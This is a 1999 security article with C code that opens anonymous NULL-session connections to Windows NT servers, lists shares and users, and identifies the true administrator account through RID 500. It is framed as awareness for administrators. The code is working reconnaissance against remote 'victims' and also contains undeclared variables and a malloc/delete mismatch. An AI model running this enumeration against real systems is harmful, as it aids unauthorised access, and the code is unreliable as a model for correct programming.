Details About NULL Sessions This page is a detailed explanation for programmatically connecting to NT Server NULL Sessions and extracting the name of the true administrator account. Even non-programmer Admins should read through this and become familiar with the API's explained in order to better understand the NT environment and recognize code that might be used against them. The original purpose of NULL sessions is to allow unauthenticated hosts to obtain browse lists from NT servers and participate in MS networking. Mostly this is useful for Win95/98/NT hosts who are not domain members, but still need to obtain browsing information. The problem occurs in cases where a NULL session becomes included in the everyone group and now has access to resources to which they weren't authenticated, but that the authenticated group had permissions for. Originally, 'everyone' did not mean 'anyone'. You still had to log on to be in the everyone group. however, NULL Sessions are the one case where 'everyone' could mean 'anyone'. This is the reason MS created the *NEW* Authenticated group. The Authenticated group does not include NULL Sessions and so can never mean 'anyone' - until someone finds an exploit. The following code segments are commented to show exactly what is happening, what API's are being used, and how the true administrator name can be identified. First - making a NULL Session connection One way to this is by using the Net Use command with an empty password. Programmatically, it looks like this.... //This function called from dialog that fills listbox with connections BOOL EstablishNullSession(CString TargetHost, CNTOHunterDlg* pDlg) { //Setup for UNICODE char* pTemp = TargetHost.GetBuffer(256); WCHAR wszServ[256]; LPWSTR Server = NULL; //Convert to Unicode MultiByteToWideChar(CP_ACP, 0, pTemp, strlen(pTemp)+1, wszServ, sizeof(wszServ)/sizeof(wszServ[0]) ); //Create the IPC$ share connection string we need Server = wszServ; LPCWSTR szIpc = L"\\IPC$"; WCHAR RemoteResource[UNCLEN + 5 + 1]; // UNC len + \IPC$ + NULL DWORD dwServNameLen; DWORD dwRC; //Setup Win32 structures and variables we need NET_API_STATUS nas; USE_INFO_2 ui2; SHARE_INFO_1* pSHInfo1 = NULL; DWORD dwEntriesRead; DWORD dwTotalEntries; //Set up handles to tree control to insert connection results HTREEITEM machineRoot, shareRoot, userRoot, adminRoot, attribRoot; char sharename[256]; char remark[256]; if(Server == NULL || *Server == L'\0') { SetLastError(ERROR_INVALID_COMPUTERNAME); return FALSE; } dwServNameLen = lstrlenW( Server ); //Test for various errors in connection string and recover if(Server[0] != L'\\' && Server[1] != L'\\') { // prepend slashes and NULL terminate RemoteResource[0] = L'\\'; RemoteResource[1] = L'\\'; RemoteResource[2] = L'\0'; } else { dwServNameLen -= 2; // drop slashes from count RemoteResource[0] = L'\0'; } if(dwServNameLen > CNLEN) { SetLastError(ERROR_INVALID_COMPUTERNAME); return FALSE; } if(lstrcatW(RemoteResource, Server) == NULL) return FALSE; if(lstrcatW(RemoteResource, szIpc) == NULL) return FALSE; //Start with clean memory ZeroMemory(&ui2, sizeof(ui2)); //Fill in the Win32 network structure we need to use connect API ui2.ui2_local = NULL; ui2.ui2_remote = (LPTSTR) RemoteResource; ui2.ui2_asg_type = USE_IPC; ui2.ui2_password = (LPTSTR) L""; //SET PASSWORD TO NULL ui2.ui2_username = (LPTSTR) L""; ui2.ui2_domainname = (LPTSTR) L""; //MAKE THE NULL SESSION CALL nas = NetUseAdd(NULL, 2, (LPBYTE)&ui2, NULL); dwRC = GetLastError(); if( nas == NERR_Success ) { machineRoot = pDlg->m_Victims.InsertItem(TargetHost, 0, 0, TVI_ROOT); } //THIS IS WHERE NT HANDS OUT IT INFORMATION nas = NetShareEnum((char*)Server, 1, (LPBYTE*)&pSHInfo1, MAX_PREFERRED_LENGTH, &dwEntriesRead, &dwTotalEntries, NULL); dwRC = GetLastError(); if( nas == NERR_Success ) { if(dwTotalEntries > 0) { shareRoot = pDlg->m_Victims.InsertItem("Shares", machineRoot,TVI_LAST); userRoot = pDlg->m_Victims.InsertItem("Users", machineRoot,TVI_LAST); adminRoot = pDlg->m_Victims.InsertItem("Admin", machineRoot,TVI_LAST); } for(int x=0; x<(int)dwTotalEntries; x++) { // Convert back to ANSI WideCharToMultiByte(CP_ACP, 0, (const unsigned short*)pSHInfo1->shi1_netname, -1, sharename, 256, NULL, NULL ); WideCharToMultiByte( CP_ACP, 0, (const unsigned short*)pSHInfo1->shi1_remark, -1, remark, 256, NULL, NULL ); CString ShareDetails = sharename; ShareDetails = ShareDetails + " - " + remark; //fill the tree with connect info attribRoot = pDlg->m_Victims.InsertItem(ShareDetails, shareRoot,TVI_LAST); pSHInfo1++; } } //My Wrapper function for listing users - see below DoNetUserEnum(Server, pDlg, userRoot, adminRoot); //WE ARE DONE, SO KILL THE CONNECTION nas = NetUseDel(NULL, (LPTSTR) RemoteResource, 0); TargetHost.ReleaseBuffer(); SetLastError( nas ); return FALSE; } The following function is how one can programmatically determine the administrator status of an account...... bool GetAdmin(char* pServer, char* pUser, CString& Name) { BOOL fAdmin = FALSE; DWORD dwDomainName,dwSize,dwAdminVal; SID_NAME_USE use; PSID pUserSID = NULL; // SID for user int rc; int iSubCount; bool bFoundHim = 0; dwDomainName = 256; dwSize = 0; dwAdminVal = 0; iSubCount = 0; //Call API for buffer size since we don't know size beforehand rc = LookupAccountName(pServer, pUser, pUserSID, &dwSize, szDomainName, &dwDomainName, &use ); rc = GetLastError(); //Allocate a larger buffer if(rc == ERROR_INSUFFICIENT_BUFFER) { pUserSID = (PSID) malloc(dwSize); //Repeat call now that we have the right size buffer rc = LookupAccountName(pServer, pUser, pUserSID, &dwSize, szDomainName, &dwDomainName, &use ); } //Scan the SIDS for the golden key - ADMIN == 500 //Get a count of SID's iSubCount = (int)*(GetSidSubAuthorityCount(pUserSID)); //Admin SID is the last element in the count dwAdminVal = *(GetSidSubAuthority(pUserSID, iSubCount-1)); if(dwAdminVal==500) //TEST TO SEE IF THIS IS THE ADMIN { Name.Format("Admin is %s\\%s\n", szDomainName, pUser); bFoundHim = true; } delete pUserSID; return bFoundHim; //WE KNOW WHO HE IS, ADD HIM TO THE TREE } Wrapper for Listing the user accounts..... void DoNetUserEnum(const wchar_t* pServer, CNTOHunterDlg* pDlg, HTREEITEM userRoot, HTREEITEM adminRoot) { USER_INFO_10 *pUserbuf, *pCurUser; DWORD dwRead, dwRemaining, dwResume, dwRC; char userName[256]; char userServer[256]; dwResume = 0; if(pServer[0] != L'\\' && pServer[1] != L'\\') { //Start sting with correct UNC slashes and NULL terminate RemoteResource[0] = L'\\'; RemoteResource[1] = L'\\'; RemoteResource[2] = L'\0'; } else { dwServNameLen -= 2; // drop slashes from count RemoteResource[0] = L'\0'; } if(dwServNameLen > CNLEN) { SetLastError(ERROR_INVALID_COMPUTERNAME); return; } if(lstrcatW(RemoteResource, pServer) == NULL) return; do { pUserbuf = NULL; //THIS IS THE API THE NT USES TO HAND OUT IT's LIST dwRC = NetUserEnum(RemoteResource, 10, 0, (BYTE**) &pUserbuf, 1024, &dwRead, &dwRemaining, &dwResume); if (dwRC != ERROR_MORE_DATA && dwRC != ERROR_SUCCESS) break; DWORD i; for(i = 0, pCurUser = pUserbuf; i < dwRead; ++i, ++pCurUser) { // Convert back to ANSI. WideCharToMultiByte( CP_ACP, 0, pCurUser->usri10_name, -1, userName, 256, NULL, NULL ); // Convert back to ANSI. WideCharToMultiByte( CP_ACP, 0, pServer, -1, userServer, 256, NULL, NULL ); if(!GotAdmin) { //use char strings CString Admin; GotAdmin = GetAdmin(userServer, userName, Admin); if(GotAdmin) { Admin.TrimRight(); HTREEITEM adminChild = pDlg->m_Victims.InsertItem(Admin, adminRoot, TVI_LAST); pDlg->m_Victims.EnsureVisible(adminChild); } } CString strUserName = userName; pDlg->m_Victims.InsertItem(strUserName, userRoot, TVI_LAST); } if (pUserbuf != NULL) NetApiBufferFree(pUserbuf); } while (dwRC == ERROR_MORE_DATA); if (dwRC != ERROR_SUCCESS) printf("NUE() returned %lu\n", dwRC); } Send mail to info@ntobjectives.com with questions or comments about this document. Copyright © 1999 NT OBJECTives, Inc. All Rights Reserved. All trademarks are the property of their respective owners. Last modified: June 28, 1999